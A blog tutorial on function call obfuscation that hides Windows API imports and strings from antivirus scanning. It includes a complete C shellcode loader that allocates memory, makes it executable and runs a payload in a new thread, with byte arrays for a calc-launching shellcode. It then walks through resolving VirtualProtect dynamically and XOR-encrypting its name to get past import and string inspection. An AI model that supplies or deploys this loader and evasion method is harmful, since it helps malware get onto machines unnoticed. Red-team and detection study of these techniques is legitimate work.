Function Call Obfuscation

James Patrick
5 min readSep 16, 2023

--

PE modules usually use external functions. When these programs are running they will call functions within external DLLs which will be mapped into process memory to make these functions available to the process code.

Antivirus companies utilize these external DLLs and functions used by the binaries to determine if these binaries are malicious. These engines analyze a PE file on disk by looking into it IAT (Import address table, http://sandsprite.com/CodeStuff/Understanding_imports.html) and reviews the functions the binary wants to call at runtime and compares them with functions known to be used by malware which is not completely effective and sometimes generate false positives.

This is where Function Call Obfuscation comes into play. This is a method of hiding your DLLs and external functions that will be called during runtime. We can use normal windows API functions like GetModuleHandle and GetProcAdddress. GetModueHandle returns a handle to specified DLL and GetProcAddress gives us a memory address of the function we need which is exported from the DLL.

Below is a basic template for executing shellcode. In this example we will be launching Calc.exe.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char calc_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
...
};
unsigned int calc_len = sizeof(calc_payload);

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
int j;

j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;

data[i] = data[i] ^ key[j];
j++;
}
}

int main(void) {

void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
char key[] = "";

// Allocate buffer for payload
exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("%-20s : 0x%-016p\n", "calc_payload addr", (void *)calc_payload);
printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

//XOR((char *) calc_payload, calc_len, key, sizeof(key));

// Copy payload to the buffer
RtlMoveMemory(exec_mem, calc_payload, calc_len);

// Make the buffer executable
rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

printf("\nHit me!\n");
getchar();

// If all good, run the payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}

return 0;
}

(https://github.com/flawdC0de/Ev1L/blob/main/implant.cpp)

After compiling and running the above code the calculator app is launched:

If we dump the Import Address Table (IAT) for implant.exe we will see it uses kernel32.dll and imports many functions, some we can see in our code:

Lets work on obfuscating “VirtualProtect”. Looking at the MSDN for VirtualProtect we will copy this declaration:

BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);

(https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect)

Using the above we will create a global variable called pVirtualProtect which needs to be a pointer and will store the address to VirtualProtect :

To get this address we will use GetProcAddress with a handle and the string “VirtualProtect” along with GetModuleHandle to kernel32.dll which we know implements the VirtualProtect function:

We also need to change the rv call:

We will recompile it and verify it still runs:

After dumping again we see that VirtualProtect is no longer showing:

One issue that still remains is that if we extract all the strings from the binary will still see VirtualProtect is still showing:

The reason is we are using the string in clear text when calling it via GetProcAddress:

We can use the XOR function to obfuscate this:

For this will we need a key and some string, we will add:

We will also change:

pVirtualProtect = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect");

To:

pVirtualProtect = GetProcAddress(GetModuleHandle("kernel32.dll"), sVirtualProtect);

We then will call XOR with our string and set the string length to the same:

XOR((char *) sVirtualProtect, strlen(sVirtualProtect), key, sizeof(key));

For the key we need to create something that is not obvious like “SecretKey” would be. We can search the previously dumped strings and choose one that wont be so obvious:

We will use our python script to get into interactive mode and XOR the “VirtualProtect” string using the printC function (ignoring error because we didn’t give a file):

(https://github.com/flawdC0de/Ev1L/blob/main/xorencrypt2.py)

And paste it in our sVirtualProtect variable:

We will recompile and run it to verify it works:

Now lets use strings to check if “VirtualProtect” is present:

It is gone. This can be used to obfuscate any other functions such as VirtualAlloc, RtlMoveMemory and CreateThread etc.

--

--